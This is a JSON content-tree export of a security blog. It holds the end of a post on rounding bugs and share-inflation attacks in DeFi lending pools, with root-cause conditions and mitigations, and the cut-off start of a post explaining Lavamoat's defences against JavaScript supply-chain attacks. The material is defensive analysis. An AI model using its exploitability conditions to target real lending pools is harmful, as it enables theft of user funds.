_maxSharePrice\n",{"type":23,"tag":314,"props":45729,"children":45730},{"class":316,"line":1141},[45731],{"type":23,"tag":314,"props":45732,"children":45733},{"style":338},[45734],{"type":28,"value":2414},{"type":23,"tag":314,"props":45736,"children":45737},{"class":316,"line":1173},[45738],{"type":23,"tag":314,"props":45739,"children":45740},{"style":321},[45741],{"type":28,"value":45742}," private\n",{"type":23,"tag":314,"props":45744,"children":45745},{"class":316,"line":1208},[45746],{"type":23,"tag":314,"props":45747,"children":45748},{"style":321},[45749],{"type":28,"value":45750}," pure\n",{"type":23,"tag":314,"props":45752,"children":45753},{"class":316,"line":1216},[45754,45759,45763,45767],{"type":23,"tag":314,"props":45755,"children":45756},{"style":2284},[45757],{"type":28,"value":45758}," returns",{"type":23,"tag":314,"props":45760,"children":45761},{"style":338},[45762],{"type":28,"value":2324},{"type":23,"tag":314,"props":45764,"children":45765},{"style":2674},[45766],{"type":28,"value":45417},{"type":23,"tag":314,"props":45768,"children":45769},{"style":338},[45770],{"type":28,"value":2414},{"type":23,"tag":314,"props":45772,"children":45773},{"class":316,"line":1301},[45774],{"type":23,"tag":314,"props":45775,"children":45776},{"style":338},[45777],{"type":28,"value":10129},{"type":23,"tag":314,"props":45779,"children":45780},{"class":316,"line":1343},[45781,45785,45790,45794],{"type":23,"tag":314,"props":45782,"children":45783},{"style":2284},[45784],{"type":28,"value":16228},{"type":23,"tag":314,"props":45786,"children":45787},{"style":338},[45788],{"type":28,"value":45789}," _maxSharePrice ",{"type":23,"tag":314,"props":45791,"children":45792},{"style":354},[45793],{"type":28,"value":7828},{"type":23,"tag":314,"props":45795,"children":45796},{"style":321},[45797],{"type":28,"value":45798}," true\n",{"type":23,"tag":314,"props":45800,"children":45801},{"class":316,"line":1351},[45802,45807,45812,45816],{"type":23,"tag":314,"props":45803,"children":45804},{"style":354},[45805],{"type":28,"value":45806}," ?",{"type":23,"tag":314,"props":45808,"children":45809},{"style":338},[45810],{"type":28,"value":45811}," _product % _pseudo ",{"type":23,"tag":314,"props":45813,"children":45814},{"style":354},[45815],{"type":28,"value":7828},{"type":23,"tag":314,"props":45817,"children":45818},{"style":1054},[45819],{"type":28,"value":23524},{"type":23,"tag":314,"props":45821,"children":45822},{"class":316,"line":1387},[45823,45828,45833,45837],{"type":23,"tag":314,"props":45824,"children":45825},{"style":354},[45826],{"type":28,"value":45827}," ?",{"type":23,"tag":314,"props":45829,"children":45830},{"style":338},[45831],{"type":28,"value":45832}," _product ",{"type":23,"tag":314,"props":45834,"children":45835},{"style":354},[45836],{"type":28,"value":3835},{"type":23,"tag":314,"props":45838,"children":45839},{"style":338},[45840],{"type":28,"value":45841}," _pseudo\n",{"type":23,"tag":314,"props":45843,"children":45844},{"class":316,"line":1422},[45845,45850,45854,45858,45863,45867],{"type":23,"tag":314,"props":45846,"children":45847},{"style":354},[45848],{"type":28,"value":45849}," :",{"type":23,"tag":314,"props":45851,"children":45852},{"style":338},[45853],{"type":28,"value":45832},{"type":23,"tag":314,"props":45855,"children":45856},{"style":354},[45857],{"type":28,"value":3835},{"type":23,"tag":314,"props":45859,"children":45860},{"style":338},[45861],{"type":28,"value":45862}," _pseudo ",{"type":23,"tag":314,"props":45864,"children":45865},{"style":354},[45866],{"type":28,"value":1130},{"type":23,"tag":314,"props":45868,"children":45869},{"style":1054},[45870],{"type":28,"value":18680},{"type":23,"tag":314,"props":45872,"children":45873},{"class":316,"line":1430},[45874,45879,45883,45887],{"type":23,"tag":314,"props":45875,"children":45876},{"style":354},[45877],{"type":28,"value":45878}," :",{"type":23,"tag":314,"props":45880,"children":45881},{"style":338},[45882],{"type":28,"value":45832},{"type":23,"tag":314,"props":45884,"children":45885},{"style":354},[45886],{"type":28,"value":3835},{"type":23,"tag":314,"props":45888,"children":45889},{"style":338},[45890],{"type":28,"value":45891}," _pseudo;\n",{"type":23,"tag":314,"props":45893,"children":45894},{"class":316,"line":1452},[45895],{"type":23,"tag":314,"props":45896,"children":45897},{"style":338},[45898],{"type":28,"value":386},{"type":23,"tag":24,"props":45900,"children":45901},{},[45902,45907],{"type":23,"tag":186,"props":45903,"children":45904},{},[45905],{"type":28,"value":45906},"Regardless of which way the share rounding occurs, this is a bug",{"type":28,"value":45908},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":23,"tag":24,"props":45910,"children":45911},{},[45912],{"type":28,"value":45913},"This is a really tricky invariant to reason about!",{"type":23,"tag":61,"props":45915,"children":45917},{"id":45916},"root-cause",[45918],{"type":28,"value":45919},"Root Cause",{"type":23,"tag":24,"props":45921,"children":45922},{},[45923],{"type":28,"value":45924},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":23,"tag":24,"props":45926,"children":45927},{},[45928],{"type":28,"value":45929},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":23,"tag":304,"props":45931,"children":45933},{"className":3729,"code":45932,"language":3728,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[45934],{"type":23,"tag":94,"props":45935,"children":45936},{"__ignoreMap":7},[45937],{"type":23,"tag":314,"props":45938,"children":45939},{"class":316,"line":317},[45940,45945,45949,45954,45958],{"type":23,"tag":314,"props":45941,"children":45942},{"style":338},[45943],{"type":28,"value":45944},"totalDepositShares ",{"type":23,"tag":314,"props":45946,"children":45947},{"style":354},[45948],{"type":28,"value":256},{"type":23,"tag":314,"props":45950,"children":45951},{"style":338},[45952],{"type":28,"value":45953}," _amount ",{"type":23,"tag":314,"props":45955,"children":45956},{"style":354},[45957],{"type":28,"value":3835},{"type":23,"tag":314,"props":45959,"children":45960},{"style":338},[45961],{"type":28,"value":45962}," pseudoTotalPool\n",{"type":23,"tag":24,"props":45964,"children":45965},{},[45966],{"type":28,"value":45967},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":23,"tag":24,"props":45969,"children":45970},{},[45971,45973,45977],{"type":28,"value":45972},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":23,"tag":186,"props":45974,"children":45975},{},[45976],{"type":28,"value":19154},{"type":28,"value":45978}," integer division?",{"type":23,"tag":61,"props":45980,"children":45982},{"id":45981},"mitigations",[45983],{"type":28,"value":45984},"Mitigations",{"type":23,"tag":24,"props":45986,"children":45987},{},[45988],{"type":28,"value":45989},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":23,"tag":24,"props":45991,"children":45992},{},[45993,45995,46002],{"type":28,"value":45994},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":23,"tag":31,"props":45996,"children":45999},{"href":45997,"rel":45998},"https://twitter.com/danielvf/status/1746306320553152615",[35],[46000],{"type":28,"value":46001},"@danielvf notes",{"type":28,"value":46003},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":23,"tag":304,"props":46005,"children":46007},{"className":3729,"code":46006,"language":3728,"meta":7,"style":7},"if (_totalSupply == 0) {\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[46008],{"type":23,"tag":94,"props":46009,"children":46010},{"__ignoreMap":7},[46011,46035,46082,46116],{"type":23,"tag":314,"props":46012,"children":46013},{"class":316,"line":317},[46014,46018,46023,46027,46031],{"type":23,"tag":314,"props":46015,"children":46016},{"style":2284},[46017],{"type":28,"value":14821},{"type":23,"tag":314,"props":46019,"children":46020},{"style":338},[46021],{"type":28,"value":46022}," (_totalSupply ",{"type":23,"tag":314,"props":46024,"children":46025},{"style":354},[46026],{"type":28,"value":7828},{"type":23,"tag":314,"props":46028,"children":46029},{"style":1054},[46030],{"type":28,"value":1201},{"type":23,"tag":314,"props":46032,"children":46033},{"style":338},[46034],{"type":28,"value":367},{"type":23,"tag":314,"props":46036,"children":46037},{"class":316,"line":370},[46038,46043,46047,46052,46057,46062,46067,46072,46077],{"type":23,"tag":314,"props":46039,"children":46040},{"style":338},[46041],{"type":28,"value":46042}," liquidity ",{"type":23,"tag":314,"props":46044,"children":46045},{"style":354},[46046],{"type":28,"value":1102},{"type":23,"tag":314,"props":46048,"children":46049},{"style":338},[46050],{"type":28,"value":46051}," Math.",{"type":23,"tag":314,"props":46053,"children":46054},{"style":332},[46055],{"type":28,"value":46056},"sqrt",{"type":23,"tag":314,"props":46058,"children":46059},{"style":338},[46060],{"type":28,"value":46061},"(amount0.",{"type":23,"tag":314,"props":46063,"children":46064},{"style":332},[46065],{"type":28,"value":46066},"mul",{"type":23,"tag":314,"props":46068,"children":46069},{"style":338},[46070],{"type":28,"value":46071},"(amount1)).",{"type":23,"tag":314,"props":46073,"children":46074},{"style":332},[46075],{"type":28,"value":46076},"sub",{"type":23,"tag":314,"props":46078,"children":46079},{"style":338},[46080],{"type":28,"value":46081},"(MINIMUM_LIQUIDITY);\n",{"type":23,"tag":314,"props":46083,"children":46084},{"class":316,"line":380},[46085,46090,46094,46098,46102,46106,46111],{"type":23,"tag":314,"props":46086,"children":46087},{"style":332},[46088],{"type":28,"value":46089}," _mint",{"type":23,"tag":314,"props":46091,"children":46092},{"style":338},[46093],{"type":28,"value":341},{"type":23,"tag":314,"props":46095,"children":46096},{"style":2674},[46097],{"type":28,"value":31888},{"type":23,"tag":314,"props":46099,"children":46100},{"style":338},[46101],{"type":28,"value":341},{"type":23,"tag":314,"props":46103,"children":46104},{"style":1054},[46105],{"type":28,"value":1600},{"type":23,"tag":314,"props":46107,"children":46108},{"style":338},[46109],{"type":28,"value":46110},"), MINIMUM_LIQUIDITY); ",{"type":23,"tag":314,"props":46112,"children":46113},{"style":374},[46114],{"type":28,"value":46115},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":23,"tag":314,"props":46117,"children":46118},{"class":316,"line":1091},[46119,46124,46128],{"type":23,"tag":314,"props":46120,"children":46121},{"style":338},[46122],{"type":28,"value":46123},"} ",{"type":23,"tag":314,"props":46125,"children":46126},{"style":2284},[46127],{"type":28,"value":2570},{"type":23,"tag":314,"props":46129,"children":46130},{"style":338},[46131],{"type":28,"value":1449},{"type":23,"tag":24,"props":46133,"children":46134},{},[46135,46137,46144],{"type":28,"value":46136},"Alternatively, ",{"type":23,"tag":31,"props":46138,"children":46141},{"href":46139,"rel":46140},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[35],[46142],{"type":28,"value":46143},"storing the conversion rate separately",{"type":28,"value":46145}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":23,"tag":304,"props":46147,"children":46149},{"className":3729,"code":46148,"language":3728,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[46150],{"type":23,"tag":94,"props":46151,"children":46152},{"__ignoreMap":7},[46153,46188],{"type":23,"tag":314,"props":46154,"children":46155},{"class":316,"line":317},[46156,46161,46165,46170,46174,46179,46183],{"type":23,"tag":314,"props":46157,"children":46158},{"style":338},[46159],{"type":28,"value":46160},"accrualIndices.borrowed ",{"type":23,"tag":314,"props":46162,"children":46163},{"style":354},[46164],{"type":28,"value":1102},{"type":23,"tag":314,"props":46166,"children":46167},{"style":338},[46168],{"type":28,"value":46169}," accrualIndices.borrowed ",{"type":23,"tag":314,"props":46171,"children":46172},{"style":354},[46173],{"type":28,"value":256},{"type":23,"tag":314,"props":46175,"children":46176},{"style":338},[46177],{"type":28,"value":46178}," borrowInterestFactor ",{"type":23,"tag":314,"props":46180,"children":46181},{"style":354},[46182],{"type":28,"value":3835},{"type":23,"tag":314,"props":46184,"children":46185},{"style":338},[46186],{"type":28,"value":46187}," precision;\n",{"type":23,"tag":314,"props":46189,"children":46190},{"class":316,"line":370},[46191,46196,46200,46205,46209,46214,46218],{"type":23,"tag":314,"props":46192,"children":46193},{"style":338},[46194],{"type":28,"value":46195},"accrualIndices.deposited ",{"type":23,"tag":314,"props":46197,"children":46198},{"style":354},[46199],{"type":28,"value":1102},{"type":23,"tag":314,"props":46201,"children":46202},{"style":338},[46203],{"type":28,"value":46204}," accrualIndices.deposited ",{"type":23,"tag":314,"props":46206,"children":46207},{"style":354},[46208],{"type":28,"value":256},{"type":23,"tag":314,"props":46210,"children":46211},{"style":338},[46212],{"type":28,"value":46213}," depositInterestFactor ",{"type":23,"tag":314,"props":46215,"children":46216},{"style":354},[46217],{"type":28,"value":3835},{"type":23,"tag":314,"props":46219,"children":46220},{"style":338},[46221],{"type":28,"value":46187},{"type":23,"tag":24,"props":46223,"children":46224},{},[46225],{"type":28,"value":46226},"We also want to note some general takeaways:",{"type":23,"tag":24,"props":46228,"children":46229},{},[46230,46232,46237],{"type":28,"value":46231},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":23,"tag":186,"props":46233,"children":46234},{},[46235],{"type":28,"value":46236},"apply the state changes and check the invariant",{"type":28,"value":282},{"type":23,"tag":24,"props":46239,"children":46240},{},[46241],{"type":28,"value":46242},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":23,"tag":24,"props":46244,"children":46245},{},[46246],{"type":28,"value":46247},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":23,"tag":61,"props":46249,"children":46250},{"id":28180},[46251],{"type":28,"value":18185},{"type":23,"tag":24,"props":46253,"children":46254},{},[46255],{"type":28,"value":46256},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":23,"tag":24,"props":46258,"children":46259},{},[46260],{"type":28,"value":46261},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":23,"tag":2096,"props":46263,"children":46264},{},[46265],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":46267},[46268,46269,46270,46274,46275,46276],{"id":28263,"depth":370,"text":28266},{"id":45190,"depth":370,"text":45193},{"id":45309,"depth":370,"text":45312,"children":46271},[46272,46273],{"id":45320,"depth":380,"text":45323},{"id":45358,"depth":380,"text":45361},{"id":45916,"depth":370,"text":45919},{"id":45981,"depth":370,"text":45984},{"id":28180,"depth":370,"text":18185},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":46281,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":46282,"description":46283,"author":46284,"image":46285,"date":46287,"isFeatured":18,"onBlogPage":18,"body":46288,"_type":2117,"_id":49768,"_source":2119,"_file":49769,"_stem":49770,"_extension":2122},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[30451,30450],{"src":46286},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":20,"children":46289,"toc":49747},[46290,46294,46315,46320,46324,46329,46368,46374,46389,46407,46412,46417,46422,46435,46742,46768,46781,46786,46791,46805,46810,46823,46837,47068,47089,47124,47130,47135,47140,47354,47375,47381,47393,47483,47505,47541,47549,47567,47824,47850,47856,47870,48068,48087,48494,48507,48513,48532,48625,48630,48636,48649,48662,48748,48754,48766,48851,48863,48876,48882,48887,48901,49228,49233,49238,49244,49270,49325,49345,49398,49404,49409,49428,49439,49633,49639,49662,49668,49673,49686,49691,49696,49700,49705,49713,49743],{"type":23,"tag":61,"props":46291,"children":46292},{"id":18194},[46293],{"type":28,"value":18197},{"type":23,"tag":24,"props":46295,"children":46296},{},[46297,46304,46306,46313],{"type":23,"tag":31,"props":46298,"children":46301},{"href":46299,"rel":46300},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[35],[46302],{"type":28,"value":46303},"Supply chain",{"type":28,"value":46305}," attacks are becoming ",{"type":23,"tag":31,"props":46307,"children":46310},{"href":46308,"rel":46309},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[35],[46311],{"type":28,"value":46312},"increasingly popular in Web3",{"type":28,"value":46314},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":23,"tag":24,"props":46316,"children":46317},{},[46318],{"type":28,"value":46319},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":23,"tag":837,"props":46321,"children":46322},{"id":28263},[46323],{"type":28,"value":28266},{"type":23,"tag":24,"props":46325,"children":46326},{},[46327],{"type":28,"value":46328},"It is important to note that there are three different versions of LavaMoat:",{"type":23,"tag":84,"props":46330,"children":46331},{},[46332,46344,46356],{"type":23,"tag":88,"props":46333,"children":46334},{},[46335,46342],{"type":23,"tag":31,"props":46336,"children":46339},{"href":46337,"rel":46338},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[35],[46340],{"type":28,"value":46341},"Lavamoat Browserify",{"type":28,"value":46343}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":23,"tag":88,"props":46345,"children":46346},{},[46347,46354],{"type":23,"tag":31,"props":46348,"children":46351},{"href":46349,"rel":46350},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[35],[46352],{"type":28,"value":46353},"NodeJS Lavamoat",{"type":28,"value":46355}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":23,"tag":88,"props":46357,"children":46358},{},[46359,46366],{"type":23,"tag":31,"props":46360,"children":46363},{"href":46361,"rel":46362},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[35],[46364],{"type":28,"value":46365},"Lavamoat allow-scripts",{"type":28,"value":46367}," are used to prevent malicious code execution on lifecycle scripts.",{"type":23,"tag":837,"props":46369,"children":46371},{"id":46370},"lavamoats-security-features",[46372],{"type":28,"value":46373},"Lavamoat's Security Features",{"type":23,"tag":24,"props":46375,"children":46376},{},[46377,46379,46387],{"type":28,"value":46378},"The three most important features of Lavamoat",{"type":23,"tag":14716,"props":46380,"children":46381},{},[46382],{"type":23,"tag":31,"props":46383,"children":46385},{"href":28872,"ariaDescribedBy":46384,"dataFootnoteRef":7,"id":28874},[14723],[46386],{"type":28,"value":3267},{"type":28,"value":46388}," are:",{"type":23,"tag":127,"props":46390,"children":46391},{},[46392,46397,46402],{"type":23,"tag":88,"props":46393,"children":46394},{},[46395],{"type":28,"value":46396},"Policy Files",{"type":23,"tag":88,"props":46398,"children":46399},{},[46400],{"type":28,"value":46401},"NPM Anti Hijacking",{"type":23,"tag":88,"props":46403,"children":46404},{},[46405],{"type":28,"value":46406},"Scuttling",{"type":23,"tag":24,"props":46408,"children":46409},{},[46410],{"type":28,"value":46411},"Let's go over them one by one.",{"type":23,"tag":18130,"props":46413,"children":46415},{"id":46414},"policy-files",[46416],{"type":28,"value":46396},{"type":23,"tag":24,"props":46418,"children":46419},{},[46420],{"type":28,"value":46421},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":23,"tag":24,"props":46423,"children":46424},{},[46425,46427,46434],{"type":28,"value":46426},"For example, take the ",{"type":23,"tag":31,"props":46428,"children":46431},{"href":46429,"rel":46430},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[35],[46432],{"type":28,"value":46433},"Metamask Snap policy file",{"type":28,"value":3746},{"type":23,"tag":304,"props":46436,"children":46438},{"className":30611,"code":46437,"language":30613,"meta":7,"style":7}," \"@metamask/providers\": {\n \"globals\": {\n \"Event\": true,\n \"addEventListener\": true,\n \"chrome.runtime.connect\": true,\n \"console\": true,\n \"dispatchEvent\": true,\n \"document.createElement\": true,\n \"document.readyState\": true,\n \"ethereum\": \"write\",\n \"location.hostname\": true,\n \"removeEventListener\": true,\n \"web3\": true\n },\n \"packages\": {\n \"@metamask/object-multiplex\": true,\n \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[46439],{"type":23,"tag":94,"props":46440,"children":46441},{"__ignoreMap":7},[46442,46454,46469,46489,46508,46528,46548,46568,46588,46608,46629,46649,46668,46684,46691,46706,46726],{"type":23,"tag":314,"props":46443,"children":46444},{"class":316,"line":317},[46445,46450],{"type":23,"tag":314,"props":46446,"children":46447},{"style":1245},[46448],{"type":28,"value":46449}," \"@metamask/providers\"",{"type":23,"tag":314,"props":46451,"children":46452},{"style":338},[46453],{"type":28,"value":36271},{"type":23,"tag":314,"props":46455,"children":46456},{"class":316,"line":370},[46457,46461,46465],{"type":23,"tag":314,"props":46458,"children":46459},{"style":1245},[46460],{"type":28,"value":36279},{"type":23,"tag":314,"props":46462,"children":46463},{"style":360},[46464],{"type":28,"value":3746},{"type":23,"tag":314,"props":46466,"children":46467},{"style":338},[46468],{"type":28,"value":1449},{"type":23,"tag":314,"props":46470,"children":46471},{"class":316,"line":380},[46472,46477,46481,46485],{"type":23,"tag":314,"props":46473,"children":46474},{"style":1245},[46475],{"type":28,"value":46476}," \"Event\"",{"type":23,"tag":314,"props":46478,"children":46479},{"style":360},[46480],{"type":28,"value":3746},{"type":23,"tag":314,"props":46482,"children":46483},{"style":321},[46484],{"type":28,"value":11717},{"type":23,"tag":314,"props":46486,"children":46487},{"style":338},[46488],{"type":28,"value":1870},{"type":23,"tag":314,"props":46490,"children":46491},{"class":316,"line":1091},[46492,46496,46500,46504],{"type":23,"tag":314,"props":46493,"children":46494},{"style":1245},[46495],{"type":28,"value":36331},{"type":23,"tag":314,"props":46497,"children":46498},{"style":360},[46499],{"type":28,"value":3746},{"type":23,"tag":314,"props":46501,"children":46502},{"style":321},[46503],{"type":28,"value":11717},{"type":23,"tag":314,"props":46505,"children":46506},{"style":338},[46507],{"type":28,"value":1870},{"type":23,"tag":314,"props":46509,"children":46510},{"class":316,"line":1141},[46511,46516,46520,46524],{"type":23,"tag":314,"props":46512,"children":46513},{"style":1245},[46514],{"type":28,"value":46515}," \"chrome.runtime.connect\"",{"type":23,"tag":314,"props":46517,"children":46518},{"style":360},[46519],{"type":28,"value":3746},{"type":23,"tag":314,"props":46521,"children":46522},{"style":321},[46523],{"type":28,"value":11717},{"type":23,"tag":314,"props":46525,"children":46526},{"style":338},[46527],{"type":28,"value":1870},{"type":23,"tag":314,"props":46529,"children":46530},{"class":316,"line":1173},[46531,46536,46540,46544],{"type":23,"tag":314,"props":46532,"children":46533},{"style":1245},[46534],{"type":28,"value":46535}," \"console\"",{"type":23,"tag":314,"props":46537,"children":46538},{"style":360},[46539],{"type":28,"value":3746},{"type":23,"tag":314,"props":46541,"children":46542},{"style":321},[46543],{"type":28,"value":11717},{"type":23,"tag":314,"props":46545,"children":46546},{"style":338},[46547],{"type":28,"value":1870},{"type":23,"tag":314,"props":46549,"children":46550},{"class":316,"line":1208},[46551,46556,46560,46564],{"type":23,"tag":314,"props":46552,"children":46553},{"style":1245},[46554],{"type":28,"value":46555}," \"dispatchEvent\"",{"type":23,"tag":314,"props":46557,"children":46558},{"style":360},[46559],{"type":28,"value":3746},{"type":23,"tag":314,"props":46561,"children":46562},{"style":321},[46563],{"type":28,"value":11717},{"type":23,"tag":314,"props":46565,"children":46566},{"style":338},[46567],{"type":28,"value":1870},{"type":23,"tag":314,"props":46569,"children":46570},{"class":316,"line":1216},[46571,46576,46580,46584],{"type":23,"tag":314,"props":46572,"children":46573},{"style":1245},[46574],{"type":28,"value":46575}," \"document.createElement\"",{"type":23,"tag":314,"props":46577,"children":46578},{"style":360},[46579],{"type":28,"value":3746},{"type":23,"tag":314,"props":46581,"children":46582},{"style":321},[46583],{"type":28,"value":11717},{"type":23,"tag":314,"props":46585,"children":46586},{"style":338},[46587],{"type":28,"value":1870},{"type":23,"tag":314,"props":46589,"children":46590},{"class":316,"line":1301},[46591,46596,46600,46604],{"type":23,"tag":314,"props":46592,"children":46593},{"style":1245},[46594],{"type":28,"value":46595}," \"document.readyState\"",{"type":23,"tag":314,"props":46597,"children":46598},{"style":360},[46599],{"type":28,"value":3746},{"type":23,"tag":314,"props":46601,"children":46602},{"style":321},[46603],{"type":28,"value":11717},{"type":23,"tag":314,"props":46605,"children":46606},{"style":338},[46607],{"type":28,"value":1870},{"type":23,"tag":314,"props":46609,"children":46610},{"class":316,"line":1343},[46611,46616,46620,46625],{"type":23,"tag":314,"props":46612,"children":46613},{"style":1245},[46614],{"type":28,"value":46615}," \"ethereum\"",{"type":23,"tag":314,"props":46617,"children":46618},{"style":360},[46619],{"type":28,"value":3746},{"type":23,"tag":314,"props":46621,"children":46622},{"style":1245},[46623],{"type":28,"value":46624}," \"write\"",{"type":23,"tag":314,"props":46626,"children":46627},{"style":338},[46628],{"type":28,"value":1870},{"type":23,"tag":314,"props":46630,"children":46631},{"class":316,"line":1351},[46632,46637,46641,46645],{"type":23,"tag":314,"props":46633,"children":46634},{"style":1245},[46635],{"type":28,"value":46636}," \"location.hostname\"",{"type":23,"tag":314,"props":46638,"children":46639},{"style":360},[46640],{"type":28,"value":3746},{"type":23,"tag":314,"props":46642,"children":46643},{"style":321},[46644],{"type":28,"value":11717},{"type":23,"tag":314,"props":46646,"children":46647},{"style":338},[46648],{"type":28,"value":1870},{"type":23,"tag":314,"props":46650,"children":46651},{"class":316,"line":1387},[46652,46656,46660,46664],{"type":23,"tag":314,"props":46653,"children":46654},{"style":1245},[46655],{"type":28,"value":36431},{"type":23,"tag":314,"props":46657,"children":46658},{"style":360},[46659],{"type":28,"value":3746},{"type":23,"tag":314,"props":46661,"children":46662},{"style":321},[46663],{"type":28,"value":11717},{"type":23,"tag":314,"props":46665,"children":46666},{"style":338},[46667],{"type":28,"value":1870},{"type":23,"tag":314,"props":46669,"children":46670},{"class":316,"line":1422},[46671,46676,46680],{"type":23,"tag":314,"props":46672,"children":46673},{"style":1245},[46674],{"type":28,"value":46675}," \"web3\"",{"type":23,"tag":314,"props":46677,"children":46678},{"style":360},[46679],{"type":28,"value":3746},{"type":23,"tag":314,"props":46681,"children":46682},{"style":321},[46683],{"type":28,"value":45798},{"type":23,"tag":314,"props":46685,"children":46686},{"class":316,"line":1430},[46687],{"type":23,"tag":314,"props":46688,"children":46689},{"style":338},[46690],{"type":28,"value":36448},{"type":23,"tag":314,"props":46692,"children":46693},{"class":316,"line":1452},[46694,46698,46702],{"type":23,"tag":314,"props":46695,"children":46696},{"style":1245},[46697],{"type":28,"value":36456},{"type":23,"tag":314,"props":46699,"children":46700},{"style":360},[46701],{"type":28,"value":3746},{"type":23,"tag":314,"props":46703,"children":46704},{"style":338},[46705],{"type":28,"value":1449},{"type":23,"tag":314,"props":46707,"children":46708},{"class":316,"line":1497},[46709,46714,46718,46722],{"type":23,"tag":314,"props":46710,"children":46711},{"style":1245},[46712],{"type":28,"value":46713}," \"@metamask/object-multiplex\"",{"type":23,"tag":314,"props":46715,"children":46716},{"style":360},[46717],{"type":28,"value":3746},{"type":23,"tag":314,"props":46719,"children":46720},{"style":321},[46721],{"type":28,"value":11717},{"type":23,"tag":314,"props":46723,"children":46724},{"style":338},[46725],{"type":28,"value":1870},{"type":23,"tag":314,"props":46727,"children":46728},{"class":316,"line":1539},[46729,46734,46738],{"type":23,"tag":314,"props":46730,"children":46731},{"style":1245},[46732],{"type":28,"value":46733}," \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":23,"tag":314,"props":46735,"children":46736},{"style":360},[46737],{"type":28,"value":3746},{"type":23,"tag":314,"props":46739,"children":46740},{"style":321},[46741],{"type":28,"value":45798},{"type":23,"tag":24,"props":46743,"children":46744},{},[46745,46746,46751,46753,46758,46760,46766],{"type":28,"value":92},{"type":23,"tag":94,"props":46747,"children":46749},{"className":46748},[],[46750],{"type":28,"value":36521},{"type":28,"value":46752}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":23,"tag":94,"props":46754,"children":46756},{"className":46755},[],[46757],{"type":28,"value":36529},{"type":28,"value":46759}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":23,"tag":94,"props":46761,"children":46763},{"className":46762},[],[46764],{"type":28,"value":46765},"@metamask/providers",{"type":28,"value":46767}," interacts with other packages.",{"type":23,"tag":24,"props":46769,"children":46770},{},[46771,46773,46779],{"type":28,"value":46772},"To enforce these policies, LavaMoat uses ",{"type":23,"tag":94,"props":46774,"children":46776},{"className":46775},[],[46777],{"type":28,"value":46778},"lavapack",{"type":28,"value":46780},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":23,"tag":18130,"props":46782,"children":46784},{"id":46783},"npm-anti-hijacking",[46785],{"type":28,"value":46401},{"type":23,"tag":24,"props":46787,"children":46788},{},[46789],{"type":28,"value":46790},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted 